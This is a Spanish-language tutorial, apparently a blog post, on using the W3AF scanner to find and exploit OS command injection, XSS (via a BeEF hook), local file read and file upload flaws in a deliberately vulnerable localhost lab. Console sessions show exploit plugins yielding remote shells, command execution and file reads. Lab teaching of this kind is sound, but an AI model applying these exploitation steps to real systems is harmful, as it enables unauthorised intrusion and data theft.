W3AF – ENCONTRANDO VULNERABILIDADES, EJECUTANDO EXPLOITS
En entradas anteriores se ha indicado el uso de W3AF para ejecutar pruebas de penetración contra aplicaciones web, habilitando diversos tipos de plugins y recolectando información sobre un objetivo determinado, en esta entrada, intentaré enfocar todos los conceptos teóricos anteriormente mencionados y aplicarlos a un entorno de pruebas, con esto en mente, es posible utilizar DVWA (Damn Vulnerable Web Application) que se ha explicado anteriormente en el post que puede verse aquí o el entorno de pruebas incluido en el repositorio de W3AF que contiene una aplicación web con cada una de las vulnerabilidades incluidas en distintos directorios, lista para desplegar en un servidor apache, (como por ejemplo XAMPP, para pruebas es mas que suficiente), para tener la aplicación web de pruebas de W3AF basta con realizar un checkout del repositorio SVN ubicado en la ruta:
https://w3af.svn.sourceforge.net/svnroot/w3af/extras/testEnv/webroot/w3af/
Solamente es necesario ubicar todos estos ficheros en el directorio de aplicaciones del servidor web, posteriormente, es necesario establecer determinadas configuraciones a nivel de Apache, para esto basta con ver el contenido del directorio:
https://w3af.svn.sourceforge.net/svnroot/w3af/extras/testEnv/apache2config/
Donde se encuentran los módulos habilitados y las opciones de configuración adicionales.
Una vez establecido el entorno de pruebas, se puede utilizar W3AF con el fin de detectar y explotar dichas vulnerabilidades, ahora a probar algunas de las vulnerabilidades incluidas en el entorno de pruebas:
Vulnerabilidades OS Command:
Se trata de una vulnerabilidad que permite a un atacante ejecutar comandos de forma arbitraria en la maquina objetivo, frecuentemente ocasionada por malas practicas de programación.
./w3af_console w3af>>> target set target http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=ls w3af>>> plugins audit osCommanding w3af>>> start Found 1 URLs and 1 different points of injection. The list of URLs is: – http://localhost/w3af/audit/os_commanding/simple_osc.php The list of fuzzable requests is: – http://localhost/w3af/audit/os_commanding/simple_osc.php | Method: GET | Parameters: (cmd=»ls») OS Commanding was found at: «http://localhost/w3af/audit/os_commanding/simple_osc.php», using HTTP method GET. The sent data was: «cmd=ping+-c+9+localhost». This vulnerability was found in the request with id 18. Scan finished in 11 seconds. osCommandingShell exploit plugin is starting. Exception RuntimeError: ‘maximum recursion depth exceeded while calling a Python object’ in <type ‘exceptions.AttributeError’> ignored The vulnerability was found using method GET, tried to change the method to POST for exploiting but failed. Vulnerability successfully exploited. This is a list of available shells and proxies: – [0] <osCommandingShell object (ruser: «adastra» | rsystem: «Linux adastra-VPCEB3C5E 2.6.35-28-generic x86_64 GNU/Linux»)> Please use the interact command to interact with the shell objects. w3af>>> exploit interact 0 Execute «exit» to get out of the remote shell. Commands typed in this menu will be runned through the osCommandingShell shell w3af/exploit/osCommandingShell-0>>> execute whoami adastra w3af/exploit/osCommandingShell-0>>> execute ls blind_osc.php index.html param_osc.php simple_osc.php vulnerable2.php vulnerable.php |
Como se ha podido apreciar la ruta http://localhost/w3af/audit/os_commanding/simple_osc.php?cmd=ls indica la vulnerabilidad incluida en el entorno de pruebas W3AF, los demás comandos son básicos y se han explicado en el post anterior.
Por otro lado una vez obtenida una shell, se utiliza el comando execute para ejecutar comandos al sistema operativo.
Vulnerabilidades XSS
También es posible descubrir y explotar vulnerabilidades XSS en W3AF, el siguiente es un ejemplo:
./w3af_console w3af>>> cleanup w3af>>> target set target http://localhost/w3af/audit/xss/simple_xss.php?text=%3CSCRIPT%3Ealert%28%27hola%27%29;%3C/SCRIPT%3E w3af>>> plugins audit xss w3af>>> start Found 1 URLs and 1 different points of injection. The list of URLs is: – http://localhost/w3af/audit/xss/simple_xss.php The list of fuzzable requests is: – http://localhost/w3af/audit/xss/simple_xss.php | Method: GET | Parameters: (text=»<SCRIPT>al…», </SCRIPT>=»») Cross Site Scripting was found at: «http://localhost/w3af/audit/xss/simple_xss.php», using HTTP method GET. The sent data was: «text=<SCrIPT>alert(«cUNp»)</SCrIPT>&</SCRIPT>=». The modified parameter was «text». This vulnerability affects ALL browsers. This vulnerability was found in the request with id 17. Scan finished in 0 seconds. w3af>>> exploit exploit xssBeef Browser Exploitation Framework – by Wade Alcorn http://www.bindshell.net Trying to exploit using vulnerability with id: [17] To be activated, the zombies have to navigate to: «http://localhost/w3af/audit/xss/simple_xss.php?text=<script+language=»Javascript»+src=»http://localhost/beef/hook/beefmagic.js.php»></script>&</SCRIPT>=». You can start interacting with the beEF server at: http://localhost/beef/ui/ Vulnerability successfully exploited. This is a list of available shells and proxies: – [0] <xss_shell object (Browse to: «http://localhost/beef/»)> Please use the interact command to interact with the shell objects. w3af>>> exploit interact 0 Execute «exit» to get out of the remote shell. Commands typed in this menu will be runned through the xss_shell shell w3af/exploit/xss_shell-0>>> help Available commands: help Display this information lsp List the available payloads exit Exit the shell session All the other commands are executed on the remote server. |
Aquí se ha indicado el objetivo con una vulnerabilidad XSS, de esta forma, se ha conseguido obtener una xss-shell que permitirá ejecutar comandos en la maquina remota.
Vulnerabilidad de Lectura de ficheros locales
Se trata de una vulnerabilidad asociada con falta de validaciones adecuadas sobre los parámetros que viajan en la petición GET, permitiendo acceder a ficheros locales del sistema operativo objetivo.
./w3af_console w3af>>> target set target http://localhost/w3af/audit/local_file_read/local_file_read.php?file=/etc/hosts w3af>>> plugins audit localFileInclude w3af>>> start Found 1 URLs and 1 different points of injection. The list of URLs is: – http://localhost/w3af/audit/local_file_read/local_file_read.php The list of fuzzable requests is: – http://localhost/w3af/audit/local_file_read/local_file_read.php | Method: GET | Parameters: (file=»/etc/hosts») An arbitrary local file read vulnerability was found at: «http://localhost/w3af/audit/local_file_read/local_file_read.php», using HTTP method GET. The sent data was: «file=local_file_read.php». This vulnerability was found in the request with id 16. Scan finished in 0 seconds. w3af>>> exploit exploit localFileReader localFileReader exploit plugin is starting. Exception RuntimeError: ‘maximum recursion depth exceeded while calling a Python object’ in <type ‘exceptions.AttributeError’> ignored The vulnerability was found using method GET, but POST is being used during this exploit. Exception RuntimeError: ‘maximum recursion depth exceeded while calling a Python object’ in <type ‘exceptions.AttributeError’> ignored Vulnerability successfully exploited. This is a list of available shells and proxies: – [0] <shell object (rsystem: «linux»)> Please use the interact command to interact with the shell objects. w3af/exploit/localFileReader-0>>> help Available commands: help Display this information read Echoes the contents of a file. download Downloads a file to the local filesystem. list List files that may be interesting. Type «help list» for detailed information. exit Exit the shell session |
Vulnerabilidad en escritura de ficheros al Sistema Remoto.
Consiste en aprovechar aquellos formularios que tienen un FileUpload integrado y no están correctamente validados y asegurados, permitiendo a un atacante acceder al sistema de archivos de la maquina remota.
./w3af_console w3af>>> target set target http://localhost/w3af/audit/file_upload/ w3af>>> plugins audit fileUpload w3af>>> start Found 2 URLs and 2 different points of injection. The list of URLs is: – http://localhost/w3af/audit/file_upload/uploader.php – http://localhost/w3af/audit/file_upload/ The list of fuzzable requests is: – http://localhost/w3af/audit/file_upload/ | Method: GET – http://localhost/w3af/audit/file_upload/uploader.php | Method: POST | Parameters: (MAX_FILE_SIZE=»10000000″, uploadedfile=»») A file upload to a directory inside the webroot was found at: «http://localhost/w3af/audit/file_upload/uploader.php», using HTTP method POST. The sent post-data was: «MAX_FILE_SIZE=10000000&uploadedfile=<file_object>». The modified parameter was «uploadedfile». This vulnerability was found in the requests with ids 16 and 18. Scan finished in 0 seconds. w3af>>> exploit exploit fileUploadShell fileUploadShell exploit plugin is starting. Vulnerability successfully exploited. This is a list of available shells and proxies: – [0] <fileUploadShell object (ruser: «adastra» | rsystem: «Linux adastra-VPCEB3C5E 2.6.35-28-generic x86_64 GNU/Linux»)> Please use the interact command to interact with the shell objects. w3af>>> exploit interact 0 Execute «exit» to get out of the remote shell. Commands typed in this menu will be runned through the fileUploadShell shell w3af/exploit/fileUploadShell-0>>> help Available commands: help Display this information lsp List payloads payload <payload> Execute «payload» and get the result read <file> Read the remote server <file> and echo to this console write <file> <content> Write <content> to the remote <file> upload <local> <remote> Upload <local> file to <remote> location execute <cmd> exec <cmd> e <cmd> Run <cmd> on the remote operating system exit Exit this shell session All the other commands are executed on the remote server. w3af/exploit/fileUploadShell-0>>> exec ls mgt14.html w3af/exploit/fileUploadShell-0>>> e pwd /opt/lampp/htdocs/w3af/audit/file_upload/uploads |
Existen muchas más vulnerabilidades que pueden emplearse con W3AF, solamente se han enseñado algunas pocas. En un entorno cercano a la realidad, lo mas frecuente con W3AF es que un atacante utilice esta herramienta para “explorar” el objetivo de esta forma podrá detectar posibles vulnerabilidades que posteriormente puede aprovechar, en los ejemplos anteriores, de antemano conocíamos las vulnerabilidades lo que ha facilitado posteriormente su explotación utilizando los plugins de ataque de W3AF, sin embargo como ya he mencionado, en un entorno real W3AF será de gran utilidad para detectar y posteriormente poder probar dichas vulnerabilidades sobre la aplicación web objetivo.